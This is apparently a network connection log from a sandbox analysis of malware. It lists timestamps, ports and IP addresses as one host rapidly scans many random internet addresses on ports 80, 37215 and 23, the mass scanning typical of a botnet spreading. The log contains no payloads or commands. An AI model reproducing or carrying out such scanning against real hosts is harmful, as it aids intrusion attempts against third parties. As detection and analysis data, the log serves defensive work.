Jan 5, 2025 14:34:52.732956886 CET	29477	80	192.168.2.13	220.45.191.4
Jan 5, 2025 14:34:52.732961893 CET	29477	80	192.168.2.13	110.237.76.115
Jan 5, 2025 14:34:52.732969046 CET	29477	80	192.168.2.13	130.255.184.20
Jan 5, 2025 14:34:52.732969999 CET	29477	80	192.168.2.13	144.219.105.149
Jan 5, 2025 14:34:52.732970953 CET	29477	80	192.168.2.13	110.90.17.19
Jan 5, 2025 14:34:52.732969999 CET	29477	80	192.168.2.13	49.65.123.62
Jan 5, 2025 14:34:52.732970953 CET	29477	80	192.168.2.13	189.199.201.253
Jan 5, 2025 14:34:52.732970953 CET	29477	80	192.168.2.13	117.137.170.104
Jan 5, 2025 14:34:52.732970953 CET	29477	80	192.168.2.13	203.108.210.155
Jan 5, 2025 14:34:52.732970953 CET	29477	80	192.168.2.13	87.153.251.226
Jan 5, 2025 14:34:52.732974052 CET	29477	80	192.168.2.13	161.112.15.22
Jan 5, 2025 14:34:52.732979059 CET	29477	80	192.168.2.13	186.165.152.179
Jan 5, 2025 14:34:52.732983112 CET	29477	80	192.168.2.13	118.41.204.134
Jan 5, 2025 14:34:52.732984066 CET	29477	80	192.168.2.13	164.38.181.34
Jan 5, 2025 14:34:52.732997894 CET	29477	80	192.168.2.13	159.113.199.100
Jan 5, 2025 14:34:52.733002901 CET	29477	80	192.168.2.13	98.62.62.12
Jan 5, 2025 14:34:52.733011961 CET	29477	80	192.168.2.13	51.235.205.235
Jan 5, 2025 14:34:52.733016014 CET	29477	80	192.168.2.13	138.225.163.60
Jan 5, 2025 14:34:52.733016968 CET	29477	80	192.168.2.13	14.103.19.188
Jan 5, 2025 14:34:52.733023882 CET	29477	80	192.168.2.13	152.108.67.140
Jan 5, 2025 14:34:52.733031988 CET	29477	80	192.168.2.13	86.112.181.23
Jan 5, 2025 14:34:52.733033895 CET	33486	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:52.733050108 CET	29477	80	192.168.2.13	70.9.123.191
Jan 5, 2025 14:34:52.733050108 CET	29477	80	192.168.2.13	88.35.28.184
Jan 5, 2025 14:34:52.733050108 CET	29477	80	192.168.2.13	213.106.201.159
Jan 5, 2025 14:34:52.733050108 CET	29477	80	192.168.2.13	168.4.95.105
Jan 5, 2025 14:34:52.733053923 CET	29477	80	192.168.2.13	63.11.77.207
Jan 5, 2025 14:34:52.733056068 CET	29477	80	192.168.2.13	195.106.76.44
Jan 5, 2025 14:34:52.733057022 CET	29477	80	192.168.2.13	98.49.122.162
Jan 5, 2025 14:34:52.733059883 CET	29477	80	192.168.2.13	104.167.163.82
Jan 5, 2025 14:34:52.733066082 CET	29477	80	192.168.2.13	171.52.95.16
Jan 5, 2025 14:34:52.733067989 CET	29477	80	192.168.2.13	75.53.232.126
Jan 5, 2025 14:34:52.733067989 CET	29477	80	192.168.2.13	90.33.25.206
Jan 5, 2025 14:34:52.733068943 CET	29477	80	192.168.2.13	163.252.54.211
Jan 5, 2025 14:34:52.733074903 CET	29477	80	192.168.2.13	52.105.19.106
Jan 5, 2025 14:34:52.733074903 CET	29477	80	192.168.2.13	122.52.114.182
Jan 5, 2025 14:34:52.733074903 CET	29477	80	192.168.2.13	178.100.171.138
Jan 5, 2025 14:34:52.733077049 CET	29477	80	192.168.2.13	179.181.1.254
Jan 5, 2025 14:34:52.733077049 CET	29477	80	192.168.2.13	42.163.226.254
Jan 5, 2025 14:34:52.733083963 CET	29477	80	192.168.2.13	53.113.171.179
Jan 5, 2025 14:34:52.733091116 CET	29477	80	192.168.2.13	175.90.166.146
Jan 5, 2025 14:34:52.733093023 CET	29477	80	192.168.2.13	41.46.192.127
Jan 5, 2025 14:34:52.733099937 CET	29477	80	192.168.2.13	47.56.169.30
Jan 5, 2025 14:34:52.733105898 CET	29477	80	192.168.2.13	129.67.165.148
Jan 5, 2025 14:34:52.733119965 CET	29477	80	192.168.2.13	179.195.123.228
Jan 5, 2025 14:34:52.733127117 CET	29477	80	192.168.2.13	47.252.35.212
Jan 5, 2025 14:34:52.733128071 CET	29477	80	192.168.2.13	46.248.65.95
Jan 5, 2025 14:34:52.733128071 CET	29477	80	192.168.2.13	44.150.132.85
Jan 5, 2025 14:34:52.733128071 CET	29477	80	192.168.2.13	198.55.162.64
Jan 5, 2025 14:34:52.733141899 CET	29477	80	192.168.2.13	218.253.215.152
Jan 5, 2025 14:34:52.733143091 CET	29477	80	192.168.2.13	210.194.134.191
Jan 5, 2025 14:34:52.733151913 CET	29477	80	192.168.2.13	39.35.4.235
Jan 5, 2025 14:34:52.733153105 CET	29477	80	192.168.2.13	168.94.33.106
Jan 5, 2025 14:34:52.733155966 CET	29477	80	192.168.2.13	208.2.133.118
Jan 5, 2025 14:34:52.733155966 CET	29477	80	192.168.2.13	97.44.25.4
Jan 5, 2025 14:34:52.733160973 CET	29477	80	192.168.2.13	156.74.225.194
Jan 5, 2025 14:34:52.733160973 CET	29477	80	192.168.2.13	50.126.244.69
Jan 5, 2025 14:34:52.733161926 CET	29477	80	192.168.2.13	120.54.136.128
Jan 5, 2025 14:34:52.733160973 CET	29477	80	192.168.2.13	109.64.66.49
Jan 5, 2025 14:34:52.733161926 CET	29477	80	192.168.2.13	188.26.15.161
Jan 5, 2025 14:34:52.733175039 CET	29477	80	192.168.2.13	123.242.75.182
Jan 5, 2025 14:34:52.733184099 CET	29477	80	192.168.2.13	213.242.250.79
Jan 5, 2025 14:34:52.733184099 CET	29477	80	192.168.2.13	19.222.217.233
Jan 5, 2025 14:34:52.733186007 CET	29477	80	192.168.2.13	216.92.27.88
Jan 5, 2025 14:34:52.733186960 CET	29477	80	192.168.2.13	100.184.142.41
Jan 5, 2025 14:34:52.733202934 CET	29477	80	192.168.2.13	59.160.126.144
Jan 5, 2025 14:34:52.733212948 CET	29477	80	192.168.2.13	206.229.204.228
Jan 5, 2025 14:34:52.733215094 CET	29477	80	192.168.2.13	57.250.118.169
Jan 5, 2025 14:34:52.733223915 CET	29477	80	192.168.2.13	213.107.63.87
Jan 5, 2025 14:34:52.733225107 CET	29477	80	192.168.2.13	190.20.193.49
Jan 5, 2025 14:34:52.733227968 CET	29477	80	192.168.2.13	207.241.174.163
Jan 5, 2025 14:34:52.733227968 CET	29477	80	192.168.2.13	69.147.220.49
Jan 5, 2025 14:34:52.733227968 CET	29477	80	192.168.2.13	14.21.136.240
Jan 5, 2025 14:34:52.733227968 CET	29477	80	192.168.2.13	50.21.113.21
Jan 5, 2025 14:34:52.733230114 CET	29477	80	192.168.2.13	174.17.130.9
Jan 5, 2025 14:34:52.733230114 CET	29477	80	192.168.2.13	75.8.208.113
Jan 5, 2025 14:34:52.733241081 CET	29477	80	192.168.2.13	113.135.222.70
Jan 5, 2025 14:34:52.733241081 CET	29477	80	192.168.2.13	100.27.78.107
Jan 5, 2025 14:34:52.733242035 CET	29477	80	192.168.2.13	124.21.224.67
Jan 5, 2025 14:34:52.733242035 CET	29477	80	192.168.2.13	126.58.215.181
Jan 5, 2025 14:34:52.733243942 CET	29477	80	192.168.2.13	71.194.126.14
Jan 5, 2025 14:34:52.733252048 CET	29477	80	192.168.2.13	78.122.151.185
Jan 5, 2025 14:34:52.733252048 CET	29477	80	192.168.2.13	52.249.34.180
Jan 5, 2025 14:34:52.733256102 CET	29477	80	192.168.2.13	63.243.107.37
Jan 5, 2025 14:34:52.733275890 CET	29477	80	192.168.2.13	75.212.76.166
Jan 5, 2025 14:34:52.733277082 CET	29477	80	192.168.2.13	222.100.118.196
Jan 5, 2025 14:34:52.733277082 CET	29477	80	192.168.2.13	86.226.111.39
Jan 5, 2025 14:34:52.733283997 CET	29477	80	192.168.2.13	189.17.38.243
Jan 5, 2025 14:34:52.733285904 CET	29477	80	192.168.2.13	74.148.142.155
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	63.77.247.229
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	42.148.109.213
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	82.177.159.66
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	4.20.204.140
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	70.54.174.175
Jan 5, 2025 14:34:52.733288050 CET	29477	80	192.168.2.13	8.37.224.83
Jan 5, 2025 14:34:52.733293056 CET	29477	80	192.168.2.13	42.169.26.218
Jan 5, 2025 14:34:52.733300924 CET	29477	80	192.168.2.13	102.5.178.93
Jan 5, 2025 14:34:52.733306885 CET	29477	80	192.168.2.13	137.133.104.198
Jan 5, 2025 14:34:52.733306885 CET	29477	80	192.168.2.13	136.101.48.179
Jan 5, 2025 14:34:52.733314037 CET	29477	80	192.168.2.13	128.127.188.223
Jan 5, 2025 14:34:52.733314991 CET	29477	80	192.168.2.13	84.143.114.183
Jan 5, 2025 14:34:52.733320951 CET	29477	80	192.168.2.13	9.111.46.93
Jan 5, 2025 14:34:52.733320951 CET	29477	80	192.168.2.13	156.14.139.142
Jan 5, 2025 14:34:52.733334064 CET	29477	80	192.168.2.13	103.203.102.99
Jan 5, 2025 14:34:52.733339071 CET	29477	80	192.168.2.13	23.236.200.145
Jan 5, 2025 14:34:52.733341932 CET	29477	80	192.168.2.13	19.110.169.74
Jan 5, 2025 14:34:52.733341932 CET	29477	80	192.168.2.13	20.248.97.136
Jan 5, 2025 14:34:52.733349085 CET	29477	80	192.168.2.13	62.127.205.73
Jan 5, 2025 14:34:52.733349085 CET	29477	80	192.168.2.13	45.139.207.185
Jan 5, 2025 14:34:52.733351946 CET	29477	80	192.168.2.13	213.142.228.75
Jan 5, 2025 14:34:52.733361006 CET	29477	80	192.168.2.13	117.248.250.46
Jan 5, 2025 14:34:52.733366013 CET	29477	80	192.168.2.13	40.147.58.9
Jan 5, 2025 14:34:52.733369112 CET	29477	80	192.168.2.13	83.26.90.47
Jan 5, 2025 14:34:52.733371019 CET	29477	80	192.168.2.13	146.203.183.113
Jan 5, 2025 14:34:52.733374119 CET	29477	80	192.168.2.13	101.144.202.65
Jan 5, 2025 14:34:52.733374119 CET	29477	80	192.168.2.13	111.38.33.1
Jan 5, 2025 14:34:52.733375072 CET	29477	80	192.168.2.13	222.1.76.171
Jan 5, 2025 14:34:52.733381033 CET	29477	80	192.168.2.13	76.8.122.247
Jan 5, 2025 14:34:52.733383894 CET	29477	80	192.168.2.13	66.142.122.165
Jan 5, 2025 14:34:52.733383894 CET	29477	80	192.168.2.13	60.156.253.170
Jan 5, 2025 14:34:52.733387947 CET	29477	80	192.168.2.13	165.42.87.158
Jan 5, 2025 14:34:52.733387947 CET	29477	80	192.168.2.13	20.171.10.211
Jan 5, 2025 14:34:52.733393908 CET	29477	80	192.168.2.13	20.68.248.6
Jan 5, 2025 14:34:52.733393908 CET	29477	80	192.168.2.13	54.86.135.143
Jan 5, 2025 14:34:52.733393908 CET	29477	80	192.168.2.13	186.75.249.70
Jan 5, 2025 14:34:52.733393908 CET	29477	80	192.168.2.13	41.15.180.120
Jan 5, 2025 14:34:52.733393908 CET	29477	80	192.168.2.13	90.51.41.251
Jan 5, 2025 14:34:52.733412981 CET	29477	80	192.168.2.13	184.151.85.198
Jan 5, 2025 14:34:52.733412981 CET	29477	80	192.168.2.13	71.131.193.25
Jan 5, 2025 14:34:52.733413935 CET	29477	80	192.168.2.13	152.252.17.115
Jan 5, 2025 14:34:52.733422041 CET	29477	80	192.168.2.13	180.212.184.46
Jan 5, 2025 14:34:52.733428955 CET	29477	80	192.168.2.13	96.189.181.31
Jan 5, 2025 14:34:52.733428955 CET	29477	80	192.168.2.13	152.250.140.15
Jan 5, 2025 14:34:52.733428955 CET	29477	80	192.168.2.13	114.194.107.63
Jan 5, 2025 14:34:52.733433962 CET	29477	80	192.168.2.13	89.158.109.173
Jan 5, 2025 14:34:52.733438015 CET	29477	80	192.168.2.13	188.240.220.158
Jan 5, 2025 14:34:52.733438015 CET	29477	80	192.168.2.13	69.154.46.221
Jan 5, 2025 14:34:52.733438015 CET	29477	80	192.168.2.13	54.9.128.54
Jan 5, 2025 14:34:52.733441114 CET	29477	80	192.168.2.13	36.105.132.8
Jan 5, 2025 14:34:52.733445883 CET	29477	80	192.168.2.13	74.224.12.79
Jan 5, 2025 14:34:52.733445883 CET	29477	80	192.168.2.13	213.162.27.129
Jan 5, 2025 14:34:52.733449936 CET	29477	80	192.168.2.13	124.122.225.52
Jan 5, 2025 14:34:52.733455896 CET	29477	80	192.168.2.13	136.238.187.137
Jan 5, 2025 14:34:52.733455896 CET	29477	80	192.168.2.13	194.155.44.175
Jan 5, 2025 14:34:52.733458042 CET	29477	80	192.168.2.13	199.181.177.6
Jan 5, 2025 14:34:52.733460903 CET	29477	80	192.168.2.13	135.23.63.32
Jan 5, 2025 14:34:52.733462095 CET	29477	80	192.168.2.13	162.87.50.15
Jan 5, 2025 14:34:52.733474970 CET	29477	80	192.168.2.13	182.15.90.252
Jan 5, 2025 14:34:52.733479023 CET	29477	80	192.168.2.13	78.138.108.15
Jan 5, 2025 14:34:52.733483076 CET	29477	80	192.168.2.13	4.4.90.15
Jan 5, 2025 14:34:52.733484030 CET	29477	80	192.168.2.13	47.173.114.166
Jan 5, 2025 14:34:52.733495951 CET	29477	80	192.168.2.13	135.139.35.147
Jan 5, 2025 14:34:52.733499050 CET	29477	80	192.168.2.13	104.20.16.120
Jan 5, 2025 14:34:52.733500004 CET	29477	80	192.168.2.13	76.212.253.141
Jan 5, 2025 14:34:52.733500004 CET	29477	80	192.168.2.13	125.104.182.82
Jan 5, 2025 14:34:52.733503103 CET	29477	80	192.168.2.13	41.222.71.29
Jan 5, 2025 14:34:52.733519077 CET	29477	80	192.168.2.13	40.164.104.58
Jan 5, 2025 14:34:52.733522892 CET	29477	80	192.168.2.13	196.163.254.18
Jan 5, 2025 14:34:52.733527899 CET	29477	80	192.168.2.13	49.126.165.129
Jan 5, 2025 14:34:52.733532906 CET	29477	80	192.168.2.13	154.231.61.114
Jan 5, 2025 14:34:52.733549118 CET	29477	80	192.168.2.13	111.211.71.251
Jan 5, 2025 14:34:52.733551025 CET	29477	80	192.168.2.13	146.104.156.233
Jan 5, 2025 14:34:52.733551025 CET	29477	80	192.168.2.13	49.172.70.179
Jan 5, 2025 14:34:52.733552933 CET	29477	80	192.168.2.13	90.63.14.71
Jan 5, 2025 14:34:52.733552933 CET	29477	80	192.168.2.13	41.250.203.160
Jan 5, 2025 14:34:52.733552933 CET	29477	80	192.168.2.13	163.14.118.14
Jan 5, 2025 14:34:52.733553886 CET	29477	80	192.168.2.13	102.41.31.140
Jan 5, 2025 14:34:52.733560085 CET	29477	80	192.168.2.13	144.176.75.128
Jan 5, 2025 14:34:52.733562946 CET	29477	80	192.168.2.13	209.49.215.185
Jan 5, 2025 14:34:52.733571053 CET	29477	80	192.168.2.13	113.77.157.4
Jan 5, 2025 14:34:52.733578920 CET	29477	80	192.168.2.13	73.35.34.150
Jan 5, 2025 14:34:52.733582020 CET	29477	80	192.168.2.13	4.232.9.237
Jan 5, 2025 14:34:52.733598948 CET	29477	80	192.168.2.13	211.204.232.241
Jan 5, 2025 14:34:52.733598948 CET	29477	80	192.168.2.13	73.156.163.144
Jan 5, 2025 14:34:52.733598948 CET	29477	80	192.168.2.13	54.156.220.84
Jan 5, 2025 14:34:52.733601093 CET	29477	80	192.168.2.13	138.89.102.170
Jan 5, 2025 14:34:52.733599901 CET	29477	80	192.168.2.13	196.100.131.3
Jan 5, 2025 14:34:52.733602047 CET	29477	80	192.168.2.13	121.156.63.74
Jan 5, 2025 14:34:52.733619928 CET	29477	80	192.168.2.13	158.33.236.101
Jan 5, 2025 14:34:52.733619928 CET	29477	80	192.168.2.13	117.189.203.189
Jan 5, 2025 14:34:52.733956099 CET	59136	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:52.734699965 CET	58414	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:52.735465050 CET	59402	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:52.736637115 CET	35174	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:52.737229109 CET	39660	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:52.738450050 CET	57548	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:52.738831997 CET	46624	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:52.740292072 CET	37215	59402	197.199.121.75	192.168.2.13
Jan 5, 2025 14:34:52.740334988 CET	59402	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:52.740387917 CET	44760	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:52.740602016 CET	43238	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:52.742124081 CET	47658	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:52.742367029 CET	50372	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:52.743834972 CET	44044	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:52.743963003 CET	43754	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:52.745539904 CET	43716	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:52.745754957 CET	46554	80	192.168.2.13	63.43.10.28
Jan 5, 2025 14:34:52.747344971 CET	54802	80	192.168.2.13	99.164.207.221
Jan 5, 2025 14:34:52.747467041 CET	43950	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:52.748651981 CET	37215	44044	156.64.87.47	192.168.2.13
Jan 5, 2025 14:34:52.748689890 CET	44044	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:52.749010086 CET	48844	80	192.168.2.13	78.20.11.62
Jan 5, 2025 14:34:52.749213934 CET	40180	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:52.750614882 CET	48512	80	192.168.2.13	125.109.219.8
Jan 5, 2025 14:34:52.750852108 CET	44840	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:52.752340078 CET	37248	80	192.168.2.13	158.69.164.161
Jan 5, 2025 14:34:52.752578020 CET	58694	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:52.753995895 CET	50166	80	192.168.2.13	92.185.151.122
Jan 5, 2025 14:34:52.754208088 CET	35698	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:52.755634069 CET	38054	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:52.755882978 CET	48754	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:52.757450104 CET	57958	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:52.757596970 CET	54474	80	192.168.2.13	38.94.34.240
Jan 5, 2025 14:34:52.759177923 CET	43414	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:52.759287119 CET	36182	80	192.168.2.13	131.92.77.249
Jan 5, 2025 14:34:52.760436058 CET	80	38054	102.228.238.136	192.168.2.13
Jan 5, 2025 14:34:52.760478973 CET	38054	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:52.760951996 CET	51862	37215	192.168.2.13	197.203.83.162
Jan 5, 2025 14:34:52.761056900 CET	41010	80	192.168.2.13	70.180.28.131
Jan 5, 2025 14:34:52.762695074 CET	49258	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:52.762840033 CET	41496	80	192.168.2.13	19.126.39.244
Jan 5, 2025 14:34:52.764472961 CET	56562	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:52.764597893 CET	59012	80	192.168.2.13	157.253.86.180
Jan 5, 2025 14:34:52.766139984 CET	43762	37215	192.168.2.13	41.200.188.11
Jan 5, 2025 14:34:52.766402006 CET	42640	80	192.168.2.13	2.208.165.87
Jan 5, 2025 14:34:52.767883062 CET	53588	37215	192.168.2.13	197.158.150.50
Jan 5, 2025 14:34:52.768114090 CET	55374	80	192.168.2.13	122.134.154.13
Jan 5, 2025 14:34:52.769260883 CET	37215	56562	41.182.70.62	192.168.2.13
Jan 5, 2025 14:34:52.769325018 CET	56562	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:52.769669056 CET	34234	80	192.168.2.13	105.76.238.137
Jan 5, 2025 14:34:52.769833088 CET	48322	37215	192.168.2.13	197.125.8.61
Jan 5, 2025 14:34:52.771591902 CET	58906	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:52.771733999 CET	48586	80	192.168.2.13	60.208.214.47
Jan 5, 2025 14:34:52.773416042 CET	35080	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:52.773669958 CET	40042	80	192.168.2.13	166.131.190.80
Jan 5, 2025 14:34:52.775075912 CET	36918	37215	192.168.2.13	41.172.233.144
Jan 5, 2025 14:34:52.775319099 CET	51856	80	192.168.2.13	183.180.216.81
Jan 5, 2025 14:34:52.776814938 CET	40130	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:52.777025938 CET	38300	80	192.168.2.13	180.183.87.174
Jan 5, 2025 14:34:52.778361082 CET	59460	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:52.778950930 CET	35082	80	192.168.2.13	23.224.32.45
Jan 5, 2025 14:34:52.780113935 CET	43026	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:52.780827999 CET	42704	80	192.168.2.13	57.119.84.72
Jan 5, 2025 14:34:52.781558990 CET	37215	40130	197.132.40.247	192.168.2.13
Jan 5, 2025 14:34:52.781600952 CET	40130	37215	192.168.2.13	197.132.40.247
Jan 5, 2025 14:34:52.781811953 CET	57244	37215	192.168.2.13	197.100.220.57
Jan 5, 2025 14:34:52.782516003 CET	33470	80	192.168.2.13	65.210.246.241
Jan 5, 2025 14:34:52.783721924 CET	56562	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:52.784162998 CET	49868	23	192.168.2.13	148.18.74.211
Jan 5, 2025 14:34:52.784169912 CET	40140	23	192.168.2.13	151.167.86.164
Jan 5, 2025 14:34:52.784495115 CET	40610	80	192.168.2.13	209.164.155.93
Jan 5, 2025 14:34:52.785474062 CET	49196	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:52.786098957 CET	49448	80	192.168.2.13	178.237.118.100
Jan 5, 2025 14:34:52.787204027 CET	34728	37215	192.168.2.13	41.82.207.46
Jan 5, 2025 14:34:52.787992001 CET	39778	80	192.168.2.13	83.126.174.186
Jan 5, 2025 14:34:52.788497925 CET	37215	56562	41.214.12.69	192.168.2.13
Jan 5, 2025 14:34:52.788549900 CET	56562	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:52.788937092 CET	36132	37215	192.168.2.13	156.141.115.233
Jan 5, 2025 14:34:52.789463997 CET	52840	80	192.168.2.13	192.5.111.66
Jan 5, 2025 14:34:52.790695906 CET	42836	37215	192.168.2.13	197.113.138.108
Jan 5, 2025 14:34:52.791445971 CET	46638	80	192.168.2.13	188.148.5.67
Jan 5, 2025 14:34:52.792464018 CET	38844	37215	192.168.2.13	156.233.61.170
Jan 5, 2025 14:34:52.793114901 CET	56372	80	192.168.2.13	85.66.186.124
Jan 5, 2025 14:34:52.795332909 CET	57124	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:52.796045065 CET	46928	80	192.168.2.13	43.81.231.176
Jan 5, 2025 14:34:52.796857119 CET	38642	37215	192.168.2.13	41.171.143.145
Jan 5, 2025 14:34:52.797707081 CET	54926	80	192.168.2.13	36.247.60.108
Jan 5, 2025 14:34:52.798346996 CET	34848	37215	192.168.2.13	41.7.178.161
Jan 5, 2025 14:34:52.799365044 CET	43882	80	192.168.2.13	143.206.192.80
Jan 5, 2025 14:34:52.800000906 CET	37894	37215	192.168.2.13	41.24.113.224
Jan 5, 2025 14:34:52.800431013 CET	37215	57124	41.72.218.62	192.168.2.13
Jan 5, 2025 14:34:52.800472975 CET	57124	37215	192.168.2.13	41.72.218.62
Jan 5, 2025 14:34:52.800895929 CET	42380	80	192.168.2.13	104.36.217.230
Jan 5, 2025 14:34:52.801429987 CET	34378	37215	192.168.2.13	41.254.38.116
Jan 5, 2025 14:34:52.802577019 CET	49444	80	192.168.2.13	110.68.47.188
Jan 5, 2025 14:34:52.803200960 CET	44434	37215	192.168.2.13	156.20.37.112
Jan 5, 2025 14:34:52.804080963 CET	51812	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:52.804740906 CET	52292	37215	192.168.2.13	41.16.186.169
Jan 5, 2025 14:34:52.805634022 CET	60040	80	192.168.2.13	113.43.149.121
Jan 5, 2025 14:34:52.806526899 CET	58776	80	192.168.2.13	51.175.132.128
Jan 5, 2025 14:34:52.807356119 CET	59486	80	192.168.2.13	138.242.91.81
Jan 5, 2025 14:34:52.808206081 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:52.808917046 CET	80	51812	169.129.160.250	192.168.2.13
Jan 5, 2025 14:34:52.808959961 CET	51812	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:52.809032917 CET	32834	80	192.168.2.13	194.183.164.23
Jan 5, 2025 14:34:52.809860945 CET	36728	80	192.168.2.13	41.64.231.50
Jan 5, 2025 14:34:52.810702085 CET	53604	80	192.168.2.13	207.228.250.37
Jan 5, 2025 14:34:52.811538935 CET	46652	80	192.168.2.13	1.236.162.149
Jan 5, 2025 14:34:52.812295914 CET	39940	80	192.168.2.13	85.20.129.185
Jan 5, 2025 14:34:52.813219070 CET	60424	80	192.168.2.13	65.19.217.78
Jan 5, 2025 14:34:52.814026117 CET	42346	80	192.168.2.13	220.24.54.57
Jan 5, 2025 14:34:52.814898014 CET	35928	80	192.168.2.13	52.162.205.233
Jan 5, 2025 14:34:52.815768003 CET	40792	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:52.816159964 CET	33742	23	192.168.2.13	199.102.116.109
Jan 5, 2025 14:34:52.816159964 CET	48996	23	192.168.2.13	103.102.48.33
Jan 5, 2025 14:34:52.816168070 CET	43298	23	192.168.2.13	9.159.71.35
Jan 5, 2025 14:34:52.816168070 CET	52018	23	192.168.2.13	210.132.41.207
Jan 5, 2025 14:34:52.816168070 CET	43718	23	192.168.2.13	116.6.67.71
Jan 5, 2025 14:34:52.816171885 CET	54236	23	192.168.2.13	108.54.252.117
Jan 5, 2025 14:34:52.816205025 CET	40718	23	192.168.2.13	124.30.231.141
Jan 5, 2025 14:34:52.816584110 CET	53382	80	192.168.2.13	220.224.191.80
Jan 5, 2025 14:34:52.817495108 CET	42924	80	192.168.2.13	151.48.15.95
Jan 5, 2025 14:34:52.818294048 CET	46588	80	192.168.2.13	93.214.231.0
Jan 5, 2025 14:34:52.819145918 CET	45306	80	192.168.2.13	53.227.17.241
Jan 5, 2025 14:34:52.819936991 CET	53102	80	192.168.2.13	139.174.195.137
Jan 5, 2025 14:34:52.820616961 CET	80	40792	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:52.820660114 CET	40792	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:52.820672989 CET	44454	80	192.168.2.13	196.143.46.158
Jan 5, 2025 14:34:52.821449041 CET	60030	80	192.168.2.13	159.255.40.76
Jan 5, 2025 14:34:52.822287083 CET	47744	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:52.823214054 CET	57730	80	192.168.2.13	121.102.216.112
Jan 5, 2025 14:34:52.824534893 CET	35762	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:52.825247049 CET	35414	37215	192.168.2.13	156.108.47.137
Jan 5, 2025 14:34:52.826198101 CET	55574	37215	192.168.2.13	41.248.19.218
Jan 5, 2025 14:34:52.827068090 CET	54720	37215	192.168.2.13	156.30.9.47
Jan 5, 2025 14:34:52.827769041 CET	39864	37215	192.168.2.13	197.235.244.16
Jan 5, 2025 14:34:52.828501940 CET	33562	37215	192.168.2.13	41.239.15.40
Jan 5, 2025 14:34:52.829289913 CET	33840	37215	192.168.2.13	156.122.226.193
Jan 5, 2025 14:34:52.829341888 CET	37215	35762	197.112.77.190	192.168.2.13
Jan 5, 2025 14:34:52.829390049 CET	35762	37215	192.168.2.13	197.112.77.190
Jan 5, 2025 14:34:52.830173969 CET	38716	37215	192.168.2.13	156.251.12.197
Jan 5, 2025 14:34:52.830903053 CET	56462	37215	192.168.2.13	197.136.101.209
Jan 5, 2025 14:34:52.831691980 CET	59838	37215	192.168.2.13	41.23.103.197
Jan 5, 2025 14:34:52.832483053 CET	60972	37215	192.168.2.13	156.225.164.86
Jan 5, 2025 14:34:52.833297014 CET	32826	37215	192.168.2.13	156.43.189.192
Jan 5, 2025 14:34:52.834091902 CET	41266	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:52.834849119 CET	33820	37215	192.168.2.13	156.243.109.113
Jan 5, 2025 14:34:52.837052107 CET	45200	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:52.837833881 CET	32792	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:52.838825941 CET	50014	37215	192.168.2.13	41.137.125.72
Jan 5, 2025 14:34:52.839488029 CET	40860	37215	192.168.2.13	41.62.163.85
Jan 5, 2025 14:34:52.840502977 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:52.841129065 CET	47850	80	192.168.2.13	176.149.191.104
Jan 5, 2025 14:34:52.841931105 CET	37215	45200	197.49.199.148	192.168.2.13
Jan 5, 2025 14:34:52.842000961 CET	45200	37215	192.168.2.13	197.49.199.148
Jan 5, 2025 14:34:52.842144966 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:52.842844009 CET	38050	80	192.168.2.13	24.250.172.66
Jan 5, 2025 14:34:52.843722105 CET	35934	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:52.844310045 CET	43406	80	192.168.2.13	59.207.164.167
